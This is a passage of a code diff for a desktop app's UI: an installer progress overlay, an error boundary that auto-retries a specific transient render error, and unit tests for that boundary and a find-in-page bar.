+        if (!cancelled && snapshot) {
+          setState(snapshot)
+        }
+      })
+      .catch(() => {
+        // Older Electron build without the IPC handler -- bootstrap UI just
+        // stays empty, app falls through to existing onboarding flow.
+      })
+
+    const off = desktop.onBootstrapEvent(ev => setState(prev => applyEvent(prev, ev)))
+
+    return () => {
+      cancelled = true
+      off?.()
+    }
+  }, [enabled])
+
+  // Autoscroll log to bottom when new lines arrive AND the log is open
+  useEffect(() => {
+    if (logOpen && logEndRef.current) {
+      logEndRef.current.scrollIntoView({ behavior: 'auto', block: 'end' })
+    }
+  }, [state.log.length, logOpen])
+
+  // Auto-expand the log panel when a bootstrap fails so the user immediately
+  // sees the install.ps1 output. Without this, the failure block shows just
+  // the top-level error message and the user has to click "Show installer
+  // output" to see WHY the stage failed.
+  useEffect(() => {
+    if (state.error) {
+      setLogOpen(true)
+    }
+  }, [state.error])
+
+  // The choice remains mounted while main hands off to local bootstrap. Once
+  // a manifest/failure takes ownership (or a later repair presents a fresh
+  // choice), this transient button state must not leak across phases — so it
+  // records the root it was produced under and is read back only under that
+  // same root. Deriving it beats clearing it in an effect: the choice paints
+  // as soon as the first snapshot commits, and a click landing before such an
+  // effect flushed would have its error wiped before it ever rendered.
+  const [localStart, setLocalStart] = useState<{
+    root: string | null
+    starting: boolean
+    error: string | null
+  }>({ root: null, starting: false, error: null })
+
+  const activeRoot = state.setupChoice?.activeRoot ?? null
+  const forActiveRoot = localStart.root === activeRoot
+  const localStarting = forActiveRoot && localStart.starting
+  const localStartError = forActiveRoot ? localStart.error : null
+
+  // Mount logic: show whenever a bootstrap is in flight, completed-with-error,
+  // or actively running with a manifest. Hide entirely after a successful
+  // completion so the rest of the UI can take over.
+  const shouldShow = useMemo(() => {
+    if (!enabled) {
+      return false
+    }
+
+    if (state.active) {
+      return true
+    }
+
+    if (state.error) {
+      return true
+    }
+
+    if (state.unsupportedPlatform) {
+      return true
+    }
+
+    if (state.setupChoice) {
+      return true
+    }
+
+    return false
+  }, [enabled, state.active, state.error, state.setupChoice, state.unsupportedPlatform])
+
+  if (!shouldShow) {
+    return null
+  }
+
+  if (remoteOpen) {
+    return <FirstRunRemoteForm onBack={() => setRemoteOpen(false)} />
+  }
+
+  if (state.setupChoice) {
+    return (
+      <div className="fixed inset-0 z-(--z-setup) flex items-center justify-center bg-background/90 p-4 backdrop-blur-md">
+        <div className="w-full max-w-2xl rounded-xl border border-(--stroke-nous) bg-card p-8 shadow-nous">
+          <div className="flex items-start gap-4">
+            <BrandMark className="size-11 shrink-0" />
+            <div className="min-w-0">
+              <h2 className="text-xl font-semibold tracking-tight">{copy.setupChoiceTitle}</h2>
+              <p className="mt-1.5 text-sm text-muted-foreground">{copy.setupChoiceDesc}</p>
+            </div>
+          </div>
+
+          <div className="mt-6 grid gap-3 sm:grid-cols-2">
+            <button
+              className="rounded-lg border border-(--ui-stroke-tertiary) bg-(--ui-bg-quinary) p-4 text-left transition hover:bg-(--chrome-action-hover)"
+              onClick={() => setRemoteOpen(true)}
+              type="button"
+            >
+              <div className="flex items-center gap-2 text-sm font-medium">
+                <Globe className="size-4 text-muted-foreground" />
+                <span>{copy.connectExistingTitle}</span>
+              </div>
+              <p className="mt-2 text-sm leading-5 text-muted-foreground">{copy.connectExistingDesc}</p>
+            </button>
+
+            <button
+              className="rounded-lg border border-(--ui-stroke-tertiary) bg-(--ui-bg-quinary) p-4 text-left transition hover:bg-(--chrome-action-hover) disabled:cursor-wait disabled:opacity-60"
+              disabled={localStarting}
+              onClick={async () => {
+                setLocalStart({ root: activeRoot, starting: true, error: null })
+
+                try {
+                  const desktop = window.clawcodexDesktop
+
+                  if (!desktop || typeof desktop.continueBootstrapLocal !== 'function') {
+                    throw new Error(copy.localStartUnavailable)
+                  }
+
+                  await desktop.continueBootstrapLocal()
+                } catch (err) {
+                  setLocalStart({ root: activeRoot, starting: false, error: errorMessage(err) })
+                }
+              }}
+              type="button"
+            >
+              <div className="flex items-center gap-2 text-sm font-medium">
+                {localStarting ? (
+                  <Loader2 className="size-4 animate-spin text-muted-foreground" />
+                ) : (
+                  <Monitor className="size-4 text-muted-foreground" />
+                )}
+                <span>{copy.installLocalTitle}</span>
+              </div>
+              <p className="mt-2 text-sm leading-5 text-muted-foreground">{copy.installLocalDesc}</p>
+            </button>
+          </div>
+
+          {localStartError ? (
+            <div className="mt-4 flex items-start gap-2 text-sm text-destructive">
+              <AlertCircle className="mt-0.5 size-4 shrink-0" />
+              <span>{localStartError}</span>
+            </div>
+          ) : null}
+
+          <div className="mt-6 text-xs text-muted-foreground">
+            {copy.installTo}{' '}
+            <code className="font-mono text-(--ui-text-secondary)">{state.setupChoice.activeRoot}</code>
+          </div>
+        </div>
+      </div>
+    )
+  }
+
+  // Unsupported-platform branch: macOS/Linux packaged builds hit this when
+  // there's no ClawCodex installed yet and we can't drive install.sh
+  // (no stage protocol equivalent yet). Show a copy-paste install command
+  // and the docs URL; user runs it from Terminal and relaunches the app.
+  if (state.unsupportedPlatform) {
+    const ups = state.unsupportedPlatform
+    const platformLabel = ups.platform === 'darwin' ? 'macOS' : ups.platform === 'linux' ? 'Linux' : ups.platform
+
+    return (
+      <div className="fixed inset-0 z-(--z-setup) flex items-center justify-center bg-background/90 backdrop-blur-md">
+        <div className="w-full max-w-xl rounded-xl border border-(--stroke-nous) bg-card p-8 shadow-nous">
+          <h2 className="text-xl font-semibold tracking-tight">{copy.oneTimeTitle}</h2>
+          <p className="mt-2 text-sm text-muted-foreground">{copy.unsupportedDesc(platformLabel)}</p>
+
+          <div className="mt-4">
+            <div className="mb-1.5 text-xs font-medium text-muted-foreground">{copy.installCommand}</div>
+            <pre className="overflow-x-auto rounded-md border border-(--stroke-nous) px-3 py-2.5 font-mono text-[12px]">
+              <code>{ups.installCommand}</code>
+            </pre>
+            <div className="mt-2 flex items-center gap-2">
+              <Button
+                onClick={() => {
+                  void navigator.clipboard?.writeText(ups.installCommand).catch(() => {})
+                }}
+                size="sm"
+                variant="secondary"
+              >
+                {copy.copyCommand}
+              </Button>
+              <Button
+                onClick={() => {
+                  window.clawcodexDesktop?.openExternal?.(ups.docsUrl)
+                }}
+                size="sm"
+                variant="ghost"
+              >
+                {copy.viewDocs}
+              </Button>
+            </div>
+          </div>
+
+          <div className="mt-6 flex items-center justify-between pt-2">
+            <span className="text-xs text-muted-foreground">
+              {copy.installTo} <code className="font-mono text-(--ui-text-secondary)">{ups.activeRoot}</code>
+            </span>
+            <div className="flex items-center gap-2">
+              <Button onClick={() => setRemoteOpen(true)} size="sm" variant="secondary">
+                <Globe className="size-4" />
+                {copy.connectExistingShort}
+              </Button>
+              <Button onClick={() => window.location.reload()} size="sm" variant="default">
+                {copy.retryAfterRun}
+              </Button>
+            </div>
+          </div>
+        </div>
+      </div>
+    )
+  }
+
+  const stages = state.manifest?.stages || []
+  const currentStage = stages.find(s => state.stages[s.name]?.state === 'running')?.name
+
+  const completedCount = stages.filter(
+    s => state.stages[s.name]?.state === 'succeeded' || state.stages[s.name]?.state === 'skipped'
+  ).length
+
+  const totalCount = stages.length
+  const failed = Boolean(state.error)
+  // Count the running stage as half-done so the bar advances *during* a long
+  // stage instead of sitting frozen at the last completed step while its logs
+  // stream (e.g. "0 of 2" pinned at 0% for the whole first stage).
+  const progressUnits = completedCount + (!failed && currentStage ? 0.5 : 0)
+  const progressPct = totalCount > 0 ? Math.round((progressUnits / totalCount) * 100) : 0
+  const currentStartedAt = currentStage ? state.stages[currentStage]?.startedAt : null
+  const currentElapsed = typeof currentStartedAt === 'number' ? formatElapsed(now - currentStartedAt) : ''
+
+  return (
+    <div className="fixed inset-0 z-(--z-setup) flex items-center justify-center bg-background/90 backdrop-blur-md p-4">
+      <div className="flex w-full max-w-2xl max-h-[90vh] flex-col rounded-xl border border-(--stroke-nous) bg-card shadow-nous">
+        {/* Header -- always visible, never scrolls */}
+        <div className="flex flex-shrink-0 items-start gap-4 p-8 pb-4">
+          {!failed && <BrandMark className="size-11 shrink-0" />}
+          <div className="min-w-0">
+            <h2 className="text-xl font-semibold tracking-tight">
+              {failed ? copy.failedTitle : state.active ? copy.settingUpTitle : copy.finishingTitle}
+            </h2>
+            <p className="mt-1.5 text-sm text-muted-foreground">{failed ? copy.failedDesc : copy.activeDesc}</p>
+          </div>
+        </div>
+
+        {/* Scrollable middle: progress, stages, error block, log */}
+        <div className="min-h-0 flex-1 overflow-y-auto px-8 pb-2">
+          {totalCount > 0 && (
+            <div className="mb-4">
+              <div className="mb-1 flex items-center justify-between text-xs text-muted-foreground">
+                <span>
+                  {copy.progress(completedCount, totalCount)}
+                  {currentStage && copy.currentStage(formatStageName(currentStage))}
+                  {currentElapsed && ` (${currentElapsed})`}
+                </span>
+                <span className="tabular-nums">{progressPct}%</span>
+              </div>
+              <Progress
+                aria-label={copy.progress(completedCount, totalCount)}
+                className="bg-(--ui-bg-tertiary)"
+                destructive={failed}
+                value={progressPct / 100}
+              />
+            </div>
+          )}
+
+          {totalCount === 0 && state.active && (
+            <div className="mb-4 flex items-center gap-2.5 text-sm text-muted-foreground">
+              <Loader className="size-5" type="fourier-flow" />
+              <span>{copy.fetchingManifest}</span>
+            </div>
+          )}
+
+          {failed && state.error && (
+            <div className="mb-4 flex items-start gap-2 text-sm">
+              <ErrorIcon className="mt-0.5 shrink-0" size="1rem" />
+              <div className="min-w-0">
+                <div className="font-medium text-destructive">{copy.error}</div>
+                <p className="mt-0.5 whitespace-pre-wrap break-words text-foreground/90">{state.error}</p>
+              </div>
+            </div>
+          )}
+
+          {stages.length > 0 && (
+            <ol className="mb-4 space-y-0.5">
+              {stages.map(stage => (
+                <StageRow descriptor={stage} key={stage.name} now={now} result={state.stages[stage.name]} />
+              ))}
+            </ol>
+          )}
+
+          <div className="pt-3">
+            <Button
+              className="-ml-2 text-muted-foreground hover:text-foreground"
+              onClick={() => setLogOpen(v => !v)}
+              size="xs"
+              type="button"
+              variant="ghost"
+            >
+              {logOpen ? <ChevronDown className={iconSize.sm} /> : <ChevronRight className={iconSize.sm} />}
+              <span>{logOpen ? copy.hideOutput : copy.showOutput}</span>
+              <span className="ml-1 tabular-nums">({copy.lines(state.log.length)})</span>
+            </Button>
+
+            {logOpen && (
+              <LogView className={cn('mt-2', failed ? 'max-h-96' : 'max-h-64')}>
+                {state.log.length === 0 ? (
+                  <div>{copy.noOutput}</div>
+                ) : (
+                  <>
+                    {state.log.map((entry, i) => (
+                      <div className={cn(entry.stream === 'stderr' && 'text-muted-foreground/70')} key={i}>
+                        {entry.stage ? <span className="text-muted-foreground/60">[{entry.stage}] </span> : null}
+                        <span>{entry.line}</span>
+                      </div>
+                    ))}
+                    <div ref={logEndRef} />
+                  </>
+                )}
+              </LogView>
+            )}
+          </div>
+        </div>
+
+        {/* Active footer: let the user actually cancel a running install. */}
+        {state.active && !failed && (
+          <div className="flex-shrink-0 bg-card p-4">
+            <div className="flex items-center justify-end">
+              <Button
+                disabled={cancelling}
+                onClick={async () => {
+                  setCancelling(true)
+
+                  try {
+                    await window.clawcodexDesktop?.cancelBootstrap?.()
+                  } catch {
+                    // ignore -- the failed/cancelled event will surface the result
+                  }
+                }}
+                size="sm"
+                variant="ghost"
+              >
+                {cancelling ? <Loader className="size-4" type="fourier-flow" /> : null}
+                {cancelling ? copy.cancelling : copy.cancelInstall}
+              </Button>
+            </div>
+          </div>
+        )}
+
+        {/* Footer -- always visible, never scrolls; only renders on failure */}
+        {failed && (
+          <div className="flex-shrink-0 bg-card p-4">
+            <div className="flex items-center justify-between gap-2">
+              <span className="text-xs text-muted-foreground">
+                {copy.transcriptSaved}{' '}
+                <code className="font-mono text-(--ui-text-secondary)">%LOCALAPPDATA%\clawcodex\logs\</code>
+              </span>
+              <div className="flex gap-2">
+                <Button
+                  onClick={async () => {
+                    const text = state.log
+                      .map(entry => (entry.stage ? `[${entry.stage}] ${entry.line}` : entry.line))
+                      .join('\n')
+
+                    const fullText = state.error ? `Error: ${state.error}\n\n${text}` : text
+
+                    try {
+                      await navigator.clipboard.writeText(fullText)
+                      setCopied(true)
+                      window.setTimeout(() => setCopied(false), 1500)
+                    } catch {
+                      // ignore -- some environments forbid clipboard writes
+                    }
+                  }}
+                  size="sm"
+                  variant="secondary"
+                >
+                  {copied ? copy.copiedOutput : copy.copyOutput}
+                </Button>
+                <Button
+                  onClick={async () => {
+                    // Tell main.ts to clear its latched failure BEFORE we
+                    // reload. Otherwise the renderer reload calls getConnection
+                    // and main short-circuits to the latched error without
+                    // re-running install.ps1.
+                    try {
+                      await window.clawcodexDesktop?.resetBootstrap?.()
+                    } catch {
+                      // best-effort -- continue with reload regardless
+                    }
+
+                    window.location.reload()
+                  }}
+                  size="sm"
+                  variant="default"
+                >
+                  {copy.reloadRetry}
+                </Button>
+              </div>
+            </div>
+          </div>
+        )}
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/error-boundary.test.tsx b/ui-desktop/src/components/error-boundary.test.tsx
new file mode 100644
index 000000000..853fe2203
--- /dev/null
+++ b/ui-desktop/src/components/error-boundary.test.tsx
@@ -0,0 +1,220 @@
+import { act, cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { StrictMode } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { ErrorBoundary, RootErrorBoundary } from './error-boundary'
+
+const CURRENT_LOOKUP_ERROR = new Error('useClientLookup: Index 6 out of bounds (length: 2)')
+const RELOAD_WINDOW = { name: 'Reload window', role: 'button' } as const
+
+function makeBomb(box: { error: Error | null }) {
+  return function Bomb() {
+    if (box.error) {
+      throw box.error
+    }
+
+    return <div>recovered</div>
+  }
+}
+
+const recoveryWarningCount = (calls: unknown[][]) =>
+  calls.filter(call => call.some(value => String(value).includes('auto-recovering from assistant-ui lookup'))).length
+
+describe('ErrorBoundary assistant-ui lookup recovery', () => {
+  beforeEach(() => {
+    vi.useFakeTimers()
+    vi.setSystemTime(0)
+    vi.spyOn(console, 'error').mockImplementation(() => undefined)
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.useRealTimers()
+    vi.restoreAllMocks()
+  })
+
+  it.each([
+    ['the current useClientLookup error', CURRENT_LOOKUP_ERROR],
+    ['the legacy tapClientLookup error', new Error('tapClientLookup: Index 6 out of bounds (length: 2)')],
+    ['the legacy tapClientResource error', new Error('tapClientResource: Index 6 out of bounds (length: 2)')]
+  ])('recovers the production root composition without StrictMode after %s clears', (_label, error) => {
+    const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => undefined)
+    const box: { error: Error | null } = { error }
+    const Bomb = makeBomb(box)
+
+    render(
+      <RootErrorBoundary>
+        <Bomb />
+      </RootErrorBoundary>
+    )
+
+    box.error = null
+    act(() => vi.runOnlyPendingTimers())
+
+    expect(screen.getByText('recovered')).toBeTruthy()
+    expect(screen.queryByRole(RELOAD_WINDOW.role, { name: RELOAD_WINDOW.name })).toBeNull()
+    expect(recoveryWarningCount(warnSpy.mock.calls)).toBe(1)
+  })
+
+  it('recovers the production root composition when StrictMode replays its mount lifecycle', () => {
+    const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => undefined)
+    const box: { error: Error | null } = { error: CURRENT_LOOKUP_ERROR }
+    const Bomb = makeBomb(box)
+
+    render(
+      <StrictMode>
+        <RootErrorBoundary>
+          <Bomb />
+        </RootErrorBoundary>
+      </StrictMode>
+    )
+
+    box.error = null
+    act(() => vi.runOnlyPendingTimers())
+
+    expect(screen.getByText('recovered')).toBeTruthy()
+    expect(recoveryWarningCount(warnSpy.mock.calls)).toBe(1)
+    expect(vi.getTimerCount()).toBe(0)
+  })
+
+  it('stops retrying a persistent lookup error after the recovery budget is exhausted', () => {
+    const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => undefined)
+    const box: { error: Error | null } = { error: CURRENT_LOOKUP_ERROR }
+    const Bomb = makeBomb(box)
+
+    render(
+      <RootErrorBoundary>
+        <Bomb />
+      </RootErrorBoundary>
+    )
+
+    for (let attempt = 0; attempt < 4; attempt += 1) {
+      act(() => vi.runOnlyPendingTimers())
+    }
+
+    expect(screen.getByRole(RELOAD_WINDOW.role, { name: RELOAD_WINDOW.name })).toBeTruthy()
+    expect(recoveryWarningCount(warnSpy.mock.calls)).toBe(3)
+    expect(vi.getTimerCount()).toBe(0)
+  })
+
+  it('starts a fresh automatic recovery budget at the 5 second window boundary', () => {
+    const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => undefined)
+    const box: { error: Error | null } = { error: CURRENT_LOOKUP_ERROR }
+    const Bomb = makeBomb(box)
+
+    const view = render(
+      <RootErrorBoundary>
+        <Bomb />
+      </RootErrorBoundary>
+    )
+
+    for (let attempt = 0; attempt < 3; attempt += 1) {
+      box.error = null
+      act(() => vi.runOnlyPendingTimers())
+      expect(screen.getByText('recovered')).toBeTruthy()
+
+      if (attempt < 2) {
+        box.error = CURRENT_LOOKUP_ERROR
+        view.rerender(
+          <RootErrorBoundary>
+            <Bomb />
+          </RootErrorBoundary>
+        )
+      }
+    }
+
+    expect(recoveryWarningCount(warnSpy.mock.calls)).toBe(3)
+    act(() => vi.advanceTimersByTime(5_000))
+
+    box.error = CURRENT_LOOKUP_ERROR
+    view.rerender(
+      <RootErrorBoundary>
+        <Bomb />
+      </RootErrorBoundary>
+    )
+    expect(vi.getTimerCount()).toBe(1)
+
+    box.error = null
+    act(() => vi.runOnlyPendingTimers())
+
+    expect(screen.getByText('recovered')).toBeTruthy()
+    expect(recoveryWarningCount(warnSpy.mock.calls)).toBe(4)
+  })
+
+  it('manual retry replaces an active timer, resets the budget, and can exhaust again', () => {
+    const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => undefined)
+    const box: { error: Error | null } = { error: CURRENT_LOOKUP_ERROR }
+    const Bomb = makeBomb(box)
+
+    render(
+      <RootErrorBoundary>
+        <Bomb />
+      </RootErrorBoundary>
+    )
+
+    expect(vi.getTimerCount()).toBe(1)
+    fireEvent.click(screen.getByRole('button', { name: 'Retry' }))
+    expect(vi.getTimerCount()).toBe(1)
+
+    for (let attempt = 0; attempt < 3; attempt += 1) {
+      act(() => vi.runOnlyPendingTimers())
+    }
+
+    expect(screen.getByRole(RELOAD_WINDOW.role, { name: RELOAD_WINDOW.name })).toBeTruthy()
+    expect(recoveryWarningCount(warnSpy.mock.calls)).toBe(4)
+    expect(vi.getTimerCount()).toBe(0)
+  })
+
+  it('cancels an owned automatic recovery timer when unmounted', () => {
+    const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => undefined)
+    const Bomb = makeBomb({ error: CURRENT_LOOKUP_ERROR })
+
+    const view = render(
+      <RootErrorBoundary>
+        <Bomb />
+      </RootErrorBoundary>
+    )
+
+    expect(vi.getTimerCount()).toBe(1)
+    view.unmount()
+    expect(vi.getTimerCount()).toBe(0)
+    act(() => vi.runAllTimers())
+    expect(recoveryWarningCount(warnSpy.mock.calls)).toBe(1)
+  })
+
+  it('does not auto-recover the same error in a scoped boundary', () => {
+    const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => undefined)
+    const Bomb = makeBomb({ error: CURRENT_LOOKUP_ERROR })
+
+    render(
+      <ErrorBoundary fallback={() => <div>scoped fallback</div>} label="thread">
+        <Bomb />
+      </ErrorBoundary>
+    )
+
+    act(() => vi.runAllTimers())
+
+    expect(screen.getByText('scoped fallback')).toBeTruthy()
+    expect(recoveryWarningCount(warnSpy.mock.calls)).toBe(0)
+  })
+
+  it.each([
+    ['a differently cased classifier near-miss', new Error('UseClientLookup: Index 6 out of bounds (length: 2)')],
+    ['a non-bounds lookup error', new Error('useClientLookup: Key "missing" not found')],
+    ['an unrelated render error', new Error('some unrelated application error')]
+  ])('does not auto-recover %s at root', (_label, error) => {
+    const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => undefined)
+    const Bomb = makeBomb({ error })
+
+    render(
+      <RootErrorBoundary>
+        <Bomb />
+      </RootErrorBoundary>
+    )
+
+    act(() => vi.runAllTimers())
+
+    expect(screen.getByRole(RELOAD_WINDOW.role, { name: RELOAD_WINDOW.name })).toBeTruthy()
+    expect(recoveryWarningCount(warnSpy.mock.calls)).toBe(0)
+  })
+})
diff --git a/ui-desktop/src/components/error-boundary.tsx b/ui-desktop/src/components/error-boundary.tsx
new file mode 100644
index 000000000..d7a7a9959
--- /dev/null
+++ b/ui-desktop/src/components/error-boundary.tsx
@@ -0,0 +1,148 @@
+import { Component, type ErrorInfo, type ReactNode } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { ErrorState } from '@/components/ui/error-state'
+import { useI18n } from '@/i18n'
+
+export interface ErrorBoundaryFallbackProps {
+  error: Error
+  reset: () => void
+}
+
+interface ErrorBoundaryProps {
+  children: ReactNode
+  fallback?: (props: ErrorBoundaryFallbackProps) => ReactNode
+  label?: string
+  onError?: (error: Error, info: ErrorInfo) => void
+}
+
+interface ErrorBoundaryState {
+  error: Error | null
+}
+
+// Some assistant-ui lookup races escape the message-local boundary and reach
+// the root. Retry only that exact transient error class, never arbitrary render
+// failures, and cap retries so a persistent failure still exposes the fallback.
+const ASSISTANT_UI_LOOKUP_ERROR = /(useClientLookup|tapClient(Lookup|Resource)).*out of bounds/
+const MAX_AUTO_RECOVERIES = 3
+const AUTO_RECOVERY_WINDOW_MS = 5_000
+
+const isTransientAssistantUiLookupError = (error: Error): boolean => ASSISTANT_UI_LOOKUP_ERROR.test(error.message)
+
+export class ErrorBoundary extends Component<ErrorBoundaryProps, ErrorBoundaryState> {
+  state: ErrorBoundaryState = { error: null }
+  private autoRecoveryCount = 0
+  private autoRecoveryPending = false
+  private autoRecoveryTimer: number | null = null
+  private autoRecoveryWindowStart = 0
+
+  static getDerivedStateFromError(error: Error): ErrorBoundaryState {
+    return { error }
+  }
+
+  componentDidMount() {
+    // StrictMode replays mount lifecycles in development. Its synthetic
+    // componentWillUnmount clears the timer scheduled by componentDidCatch,
+    // so restore the still-owned recovery on the matching remount.
+    if (this.autoRecoveryPending && this.autoRecoveryTimer === null) {
+      this.scheduleAutoRecovery()
+    }
+  }
+
+  componentDidCatch(error: Error, info: ErrorInfo) {
+    const tag = this.props.label ? `[error-boundary:${this.props.label}]` : '[error-boundary]'
+    console.error(tag, error, info.componentStack)
+    this.props.onError?.(error, info)
+
+    if (this.props.label === 'root' && isTransientAssistantUiLookupError(error) && this.takeAutoRecoveryAttempt()) {
+      console.warn(`${tag} auto-recovering from assistant-ui lookup render race`, error.message)
+      this.autoRecoveryPending = true
+      this.scheduleAutoRecovery()
+    }
+  }
+
+  componentWillUnmount() {
+    this.clearAutoRecoveryTimer()
+  }
+
+  reset = () => {
+    this.clearAutoRecoveryTimer()
+    this.autoRecoveryPending = false
+    this.autoRecoveryCount = 0
+    this.autoRecoveryWindowStart = 0
+    this.setState({ error: null })
+  }
+
+  private takeAutoRecoveryAttempt(): boolean {
+    const now = Date.now()
+
+    if (this.autoRecoveryCount === 0 || now - this.autoRecoveryWindowStart >= AUTO_RECOVERY_WINDOW_MS) {
+      this.autoRecoveryWindowStart = now
+      this.autoRecoveryCount = 0
+    }
+
+    this.autoRecoveryCount += 1
+
+    return this.autoRecoveryCount <= MAX_AUTO_RECOVERIES
+  }
+
+  private clearAutoRecoveryTimer() {
+    if (this.autoRecoveryTimer !== null) {
+      window.clearTimeout(this.autoRecoveryTimer)
+      this.autoRecoveryTimer = null
+    }
+  }
+
+  private scheduleAutoRecovery() {
+    this.clearAutoRecoveryTimer()
+    this.autoRecoveryTimer = window.setTimeout(this.autoRecover, 0)
+  }
+
+  private autoRecover = () => {
+    this.autoRecoveryTimer = null
+    this.autoRecoveryPending = false
+    this.setState({ error: null })
+  }
+
+  render() {
+    const { error } = this.state
+
+    if (!error) {
+      return this.props.children
+    }
+
+    if (this.props.fallback) {
+      return this.props.fallback({ error, reset: this.reset })
+    }
+
+    return <RootErrorFallback error={error} reset={this.reset} />
+  }
+}
+
+export function RootErrorBoundary({ children }: { children: ReactNode }) {
+  return <ErrorBoundary label="root">{children}</ErrorBoundary>
+}
+
+function RootErrorFallback({ error, reset }: ErrorBoundaryFallbackProps) {
+  const { t } = useI18n()
+
+  return (
+    <div className="fixed inset-0 z-(--z-crash) grid place-items-center bg-(--ui-chat-surface-background) p-6">
+      <ErrorState
+        className="w-full max-w-[28rem]"
+        description={error.message || t.errors.boundaryDesc}
+        title={t.errors.boundaryTitle}
+      >
+        <Button className="font-semibold" onClick={reset} size="lg">
+          {t.common.retry}
+        </Button>
+        <Button onClick={() => window.location.reload()} variant="text">
+          {t.errors.reloadWindow}
+        </Button>
+        <Button onClick={() => void window.clawcodexDesktop?.revealLogs()?.catch(() => undefined)} variant="text">
+          {t.errors.openLogs}
+        </Button>
+      </ErrorState>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/find-bar.test.tsx b/ui-desktop/src/components/find-bar.test.tsx
new file mode 100644
index 000000000..03aae7f4f
--- /dev/null
+++ b/ui-desktop/src/components/find-bar.test.tsx
@@ -0,0 +1,613 @@
+import { act, cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { MemoryRouter, useNavigate } from 'react-router'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { FindBar } from '@/components/find-bar'
+import { I18nProvider } from '@/i18n'
+import { en } from '@/i18n/en'
+import { zh } from '@/i18n/zh'
+import { findBarClaimsCombo, findBarKeyAction, formatMatchLabel } from '@/lib/find-in-page'
+import { KEYBIND_ACTIONS } from '@/lib/keybinds/actions'
+import { comboAllowedInInput } from '@/lib/keybinds/combo'
+import {
+  $findInPage,
+  closeFindBar,
+  findInPageListenerCount,
+  findNext,
+  findPrevious,
+  initFindInPageListener,
+  openFindBar,
+  resetFindInPageListenerForTest,
+  setFindQuery,
+  updateFindResults
+} from '@/store/find-in-page'
+
+// ── Bridge double ───────────────────────────────────────────────────────────
+// Stands in for the preload `clawcodexDesktop` surface. `onFoundInPage` records
+// its subscribers so the tests can assert the listener refcount and drive
+// results back into the store the way the main process would.
+
+interface FoundResult {
+  activeMatchOrdinal: number
+  count: number
+}
+
+function installBridge() {
+  const findInPage = vi.fn().mockResolvedValue({ count: 0 })
+  const stopFindInPage = vi.fn().mockResolvedValue(undefined)
+  const subscribers = new Set<(result: FoundResult) => void>()
+
+  const onFoundInPage = vi.fn((callback: (result: FoundResult) => void) => {
+    subscribers.add(callback)
+
+    return () => subscribers.delete(callback)
+  })
+
+  ;(window as unknown as { clawcodexDesktop: unknown }).clawcodexDesktop = {
+    findInPage,
+    stopFindInPage,
+    onFoundInPage
+  }
+
+  return {
+    findInPage,
+    stopFindInPage,
+    onFoundInPage,
+    subscribers,
+    emit(result: FoundResult) {
+      for (const callback of [...subscribers]) {
+        callback(result)
+      }
+    }
+  }
+}
+
+function resetStore() {
+  $findInPage.set({ active: false, query: '', matchOrdinal: 0, matchCount: 0 })
+}
+
+// Zero the bridge refcount so a leaked subscription can't bleed between tests.
+function drainListeners() {
+  resetFindInPageListenerForTest()
+}
+
+let bridge: ReturnType<typeof installBridge>
+
+beforeEach(() => {
+  bridge = installBridge()
+  resetStore()
+})
+
+afterEach(() => {
+  cleanup()
+  resetStore()
+  drainListeners()
+  vi.restoreAllMocks()
+  delete (window as unknown as { clawcodexDesktop?: unknown }).clawcodexDesktop
+})
+
+// ── Pure: match-count formatting ────────────────────────────────────────────
+
+describe('formatMatchLabel', () => {
+  it('hides the counter entirely when there is no query', () => {
+    expect(formatMatchLabel('', 0, 0)).toBe('')
+    // Even if stale counts linger from a previous search.
+    expect(formatMatchLabel('', 3, 12)).toBe('')
+  })
+
+  it('reports an explicit zero when a query matches nothing', () => {
+    expect(formatMatchLabel('nope', 0, 0)).toBe('0/0')
+  })
+
+  it('formats ordinal over count', () => {
+    expect(formatMatchLabel('hit', 3, 12)).toBe('3/12')
+    expect(formatMatchLabel('hit', 1, 1)).toBe('1/1')
+  })
+
+  it('shows 0 ordinal for the frame before the first match is selected', () => {
+    // Electron legitimately reports matches with activeMatchOrdinal 0 on the
+    // first (non-final) update of a fresh search.
+    expect(formatMatchLabel('hit', 0, 5)).toBe('0/5')
+  })
+
+  it('clamps an out-of-range ordinal into the count', () => {
+    expect(formatMatchLabel('hit', 99, 5)).toBe('5/5')
+    expect(formatMatchLabel('hit', -3, 5)).toBe('0/5')
+  })
+
+  it('never emits NaN for non-finite input', () => {
+    expect(formatMatchLabel('hit', Number.NaN, 4)).toBe('0/4')
+    expect(formatMatchLabel('hit', 2, Number.NaN)).toBe('0/0')
+    expect(formatMatchLabel('hit', 2, Number.POSITIVE_INFINITY)).toBe('0/0')
+  })
+
+  it('floors fractional counts rather than rendering decimals', () => {
+    expect(formatMatchLabel('hit', 2.7, 9.9)).toBe('2/9')
+  })
+})
+
+// ── Pure: keybinding matcher ────────────────────────────────────────────────
+
+describe('findBarKeyAction', () => {
+  it('maps Escape to close', () => {
+    expect(findBarKeyAction({ key: 'Escape' })).toBe('close')
+  })
+
+  it('maps Cmd+G / Ctrl+G to next from anywhere', () => {
+    expect(findBarKeyAction({ key: 'g', metaKey: true })).toBe('next')
+    expect(findBarKeyAction({ key: 'g', ctrlKey: true })).toBe('next')
+  })
+
+  it('maps Cmd+Shift+G / Ctrl+Shift+G to previous', () => {
+    // event.key is uppercase 'G' when Shift is held — matched case-insensitively.
+    expect(findBarKeyAction({ key: 'G', metaKey: true, shiftKey: true })).toBe('previous')
+    expect(findBarKeyAction({ key: 'g', ctrlKey: true, shiftKey: true })).toBe('previous')
+  })
+
+  it('steps with Enter / Shift+Enter only while focus is in the input', () => {
+    expect(findBarKeyAction({ key: 'Enter' }, { inInput: true })).toBe('next')
+    expect(findBarKeyAction({ key: 'Enter', shiftKey: true }, { inInput: true })).toBe('previous')
